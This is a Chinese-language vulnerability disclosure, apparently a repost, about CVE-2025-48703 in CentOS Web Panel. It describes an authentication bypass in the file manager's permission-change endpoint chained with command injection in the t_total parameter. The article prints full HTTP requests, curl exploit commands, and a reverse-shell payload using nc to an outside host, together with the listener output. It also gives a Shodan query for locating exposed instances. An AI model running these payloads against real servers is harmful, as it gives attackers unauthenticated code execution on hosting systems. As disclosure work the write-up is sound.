CentOS Web 面板中的远程代码执行 – CVE-2025-48703

原文链接: https://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247531729&idx=1&sn=cf6ac5c638e79ee6ab729793fb9d3380

CentOS Web 面板中的远程代码执行 – CVE-2025-48703

Ots安全 2025-07-07 08:37

CentOS Web 面板中的远程代码执行 - CVE-2025-48703

介绍

Centos Web Panel (CWP)是一个免费的网络托管控制面板,用于管理基于Centos和其他基于 RPM 的发行版的服务器。CWP 于 2013 年首次推出,是一个免费的开源网络托管控制面板,旨在简化基于 CentOS 的系统的服务器管理。它由 CWP 项目领导的一个小团队开发,旨在为cPanel和Plesk等需要昂贵许可证的商业控制面板提供替代方案。最初的重点是创建一个轻量级、用户友好的界面,用于管理运行CentOS的专用和 VPS 服务器上的 Web 服务器、电子邮件、DNS 和数据库。CentOS 是一个流行的 Linux 发行版,以其稳定性和与Red Hat Enterprise Linux (RHEL) 的兼容性而闻名。具有高级功能的付费版本于 2019 年出现,具有增强的安全功能。最后,在 2022 年至 2024 年间,该软件添加了对AlmaLinux和Rocky Linux等额外 Linux 发行版的支持。

CentOS Web面板

CWP 为管理员和用户提供了一种轻松配置和管理基本服务的方法,例如 Web 服务器(Apache/NGINX)、数据库(MySQL/MariaDB)、电子邮件系统(Postfix、Dovecot、RoundCube)、DNS(Bind)和安全功能(CSF、Mod Security)。CWP 使用图形界面简化了网站创建、应用程序安装(例如WordPress、Joomla)、用户管理和性能监控,为cPanel等付费解决方案提供了一种经济高效且功能强大的替代方案。

在CentOS Web 面板(CWP) 中,管理界面(可通过 2087 或 2031 端口访问)和用户界面(可通过 2083 端口访问)在服务器管理中扮演着不同的角色。这两个应用程序都是基于 PHP 的,但管理界面(通过 2087 端口的 HTTPS 协议保护)专为系统管理员设计,提供对服务器的完全控制,允许执行诸如配置 Web 服务器(Apache/NGINX)、管理 DNS、设置电子邮件服务、创建用户帐户、监控资源以及实施配置服务器防火墙 (CSF) 等安全措施等任务。访问管理界面需要 root 或管理员凭据。

CentOS Web 面板中的远程代码执行 - CVE-2025-48703

相比之下,端口 2083 上的用户界面面向最终用户(例如网站所有者),并提供一组有限的工具来管理其特定的托管环境,包括网站文件、数据库、电子邮件帐户以及通过Softaculous安装的应用程序,而无需访问服务器范围的设置。这两个界面均由 CWP 守护程序 ( cwpsrv ) 提供支持,并通过 SSL/TLS 加密和用户特定的权限确保安全且基于角色的管理。

CentOS Web 面板中的远程代码执行 - CVE-2025-48703

CWP 还在端口 2096 上提供了一个 roundcube 实例来管理用户的电子邮件。

这款网站管理解决方案在全球范围内广泛使用。您可以使用shodan.io 的搜索模式“Server: cwpsrv”查找 CWP 应用程序的实例。截至 2025 年 5 月,shodan.io 中引用的 CWP 实例超过 20 万个。

CentOS Web 面板中的远程代码执行 - CVE-2025-48703

CWP 的源代码受ionCube保护。IonCube是一款PHP 加密和授权工具,旨在保护和优化基于 PHP 的应用程序。它主要通过对脚本进行编码来保护专有 PHP 代码,使其不可读且防篡改,同时允许它们在配备ionCube Loader 扩展的服务器上高效运行。这使得开发人员能够在不暴露源代码的情况下分发商业软件,从而确保知识产权得到保护。这种保护措施极大地限制了查找 CWP 漏洞的方法。

身份验证绕过

用户面板提供文件管理功能。用户可以上传、移动、复制或压缩文件。他们还可以使用以下表单更改文件权限:

CentOS Web 面板中的远程代码执行 - CVE-2025-48703

此表单生成以下 HTTP POST 请求:

POST/cwp_30776ec647a8f390/myuser/myuser/index.php?module=filemanager&acc=changePerm HTTP/1.1
Host: 127.0.0.1:2083
Cookie: cwpsrv-3683e20446a6b40715757e2b05f10521=av0ebj5m5arro35vndm24lufhp; _firstImpression=true; cwpsrv-User-7b897959c0572726e032b381da363f2f=q8aefhfb7dq44m30gorb6a4k5f; cwp-well-known=6a28d0ddbd2d807d5aa015636f065b89
Content-Length: 450
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: fr-FR,fr;q=0.9
Accept: application/json, text/plain, */*
Sec-Ch-Ua: "Not.A/Brand";v="99", "Chromium";v="136"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrTrcHpS9ovyhBLtb
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Origin: https://127.0.0.1:2083
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://127.0.0.1:2083/cwp_30776ec647a8f390/myuser/fileManager_v2.php
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive

------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="fileName"

.bashrc
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="currentPath"

/home/myuser/
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="recursive"


------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="t_total"

644
------WebKitFormBoundaryrTrcHpS9ovyhBLtb–

此请求使用 HTTP Cookies(cwpsrv-*)和 URL 参数来标识用户(myuser ): POST /cwp_30776ec647a8f390/myuser/myuser/index.php?module=filemanager&acc=changePerm

收到请求后,服务器会调用 chmod 系统命令。参数fileName指向的文件必须存在于currentPath中,并且currentPath必须位于/home/目录中(例如,/home/myuser/.bashrc)。 strace 的输出如下:

[...]
1384914:21:08.880573 execve(&#34;/bin/sh&#34;, [&#34;sh&#34;, &#34;-c&#34;, &#34;chmod 644 \&#34;/home/myuser/.bashrc\&#34;&#34;], [&#34;PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin&#34;, &#34;TEMP=/tmp&#34;, &#34;TMPDIR=/tmp&#34;, &#34;TMP=/tmp&#34;, &#34;HOSTNAME=&#34;, &#34;USER=myuser&#34;, &#34;HOME=/home/myuser&#34;]) = 0 <0.000222>
1384914:21:08.887956 execve(&#34;/usr/bin/chmod&#34;, [&#34;chmod&#34;, &#34;644&#34;, &#34;/home/myuser/.bashrc&#34;], [&#34;HOSTNAME=&#34;, &#34;TMPDIR=/tmp&#34;, &#34;USER=myuser&#34;, &#34;TEMP=/tmp&#34;, &#34;PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin&#34;, &#34;PWD=/usr/local/cwpsrv/var/services/users&#34;, &#34;SHLVL=1&#34;, &#34;HOME=/home/myuser&#34;, &#34;TMP=/tmp&#34;, &#34;\_=/usr/bin/chmod&#34;]) = 0 <0.000098>
[...]

第一个问题源于身份验证机制未得到正确验证。发送不带任何用户标识符的请求会在服务器上产生同样的行为。例如,即使从 URL 中删除用户标识符,请求仍然会被处理:

POST/myuser/index.php?module=filemanager&acc=changePerm HTTP/1.1
Host: 127.0.0.1:2083
Content-Length: 450
Sec-Ch-Ua-Platform: &#34;Linux&#34;
Accept-Language: fr-FR,fr;q=0.9
Accept: application/json, text/plain, */*
Sec-Ch-Ua: &#34;Not.A/Brand&#34;;v=&#34;99&#34;, &#34;Chromium&#34;;v=&#34;136&#34;
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrTrcHpS9ovyhBLtb
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Origin: https://127.0.0.1:2083
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive

------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name=&#34;fileName&#34;

.bashrc
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name=&#34;currentPath&#34;

/home/myuser/
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name=&#34;recursive&#34;


------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name=&#34;t_total&#34;

644
------WebKitFormBoundaryrTrcHpS9ovyhBLtb–

攻击者需要知道一个有效的非root用户名(在管理界面创建)。可以使用以下命令生成此请求:

$ curl -kis 'https://127.0.0.1:2083/myuser/index.php?module=filemanager&acc=changePerm' --data 'fileName=.bashrc&currentPath=/home/myuser/&t_total=644'

命令执行(CVE-2025-48703)

第二个问题是t_total参数中的命令注入。t_total 参数(在chmod系统命令中用作文件权限模式)似乎未得到适当的清理,允许攻击者注入任意命令。

然后,利用上一个问题,未经身份验证的攻击者可以绕过身份验证过程,并使用以下请求在应用程序中触发命令注入:

POST/myuser/index.php?module=filemanager&acc=changePerm HTTP/1.1
Host: 127.0.0.1:2083
Content-Length: 450
Sec-Ch-Ua-Platform: &#34;Linux&#34;
Accept-Language: fr-FR,fr;q=0.9
Accept: application/json, text/plain, */*
Sec-Ch-Ua: &#34;Not.A/Brand&#34;;v=&#34;99&#34;, &#34;Chromium&#34;;v=&#34;136&#34;
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrTrcHpS9ovyhBLtb
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Origin: https://127.0.0.1:2083
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive

------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name=&#34;fileName&#34;

.bashrc
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name=&#34;currentPath&#34;

/home/myuser/
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name=&#34;recursive&#34;


------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name=&#34;t_total&#34;

$(arbitrary_command)
------WebKitFormBoundaryrTrcHpS9ovyhBLtb–

最后,攻击者可以使用以下命令利用此漏洞:

在受控服务器上设置监听端口:

$ nc -v -n -l -p 9999
Listening on 0.0.0.0 9999

启动漏洞利用程序:

$ curl -kis 'https://127.0.0.1:52083/myuser/index.php?module=filemanager&acc=changePerm' --data 'fileName=.bashrc&currentPath=/home/myuser&t_total=`nc 1.2.3.4 9999 -e /bin/bash`'

等待应用程序重新连接:

$ nc -v -n -l -p9999
Listening on0.0.0.09999
Connection received on5.6.7.843520
id
uid=1001(myuser) gid=1001(myuser) groups=1001(myuser)
ls -lah
total 728K
drwxr-xr-x. 7 cwpsvc cwpsvc 238 May 311:11 .
drwxr-xr-x. 14 cwpsvc cwpsvc 220 May 311:11 ..
-rw-r--r-- 1 root root 12K Jul 82020 Authenticator.php
-rw-r--r-- 1 root root 41K Sep 282021 codeEditor.php
-rw-r--r-- 1 root root 9.7K Jul 82020 configmailclient
drwxr-xr-x. 2 cwpsvc cwpsvc 6 Mar 222021 cwp_branding
drwxr-xr-x. 35 cwpsvc cwpsvc 4.0K Feb 1022:13 cwp_lang
drwxr-xr-x. 3 cwpsvc cwpsvc 22 Feb 1022:13 cwp_theme
-rw-r--r-- 1 root root 542K Mar 162023 fileManager2.php
-rw-r--r-- 1 root root 90K Oct 192022 fileManager_v2.php
-rw-r--r-- 1 root root 17K Jun 72023index.php
drwxr-xr-x. 3 cwpsvc cwpsvc 77 May 311:11 login
drwxr-xr-x. 2 cwpsvc cwpsvc 26 May 311:11 traits
lrwxrwxrwx. 1 root root 36 Feb 1109:06 myuser -> /usr/local/cwpsrv/var/services/users

结论

此漏洞利用场景已在Centos7 上的0.9.8.1204和0.9.8.1188版本上进行了测试,并于 2025 年 5 月 13 日报告给 CWP 开发人员,编号为CVE-2025-48703。该漏洞允许知晓 CWP 实例上有效用户名的远程攻击者在服务器上执行预先认证的任意命令。

该漏洞已于 2025 年 6 月在最新版本0.9.8.1205中得到修补。

时间线

2025 年 5 月 13 日:首次与 CWP 接触。

2025 年 5 月 23日:已分配 CVE-2025-48703。

2025 年 6 月 18 日:版本0.9.8.1205上提供补丁。

感谢您抽出

CentOS Web 面板中的远程代码执行 - CVE-2025-48703

.

CentOS Web 面板中的远程代码执行 - CVE-2025-48703

.

CentOS Web 面板中的远程代码执行 - CVE-2025-48703

来阅读本文

CentOS Web 面板中的远程代码执行 - CVE-2025-48703

点它,分享点赞在看都在这里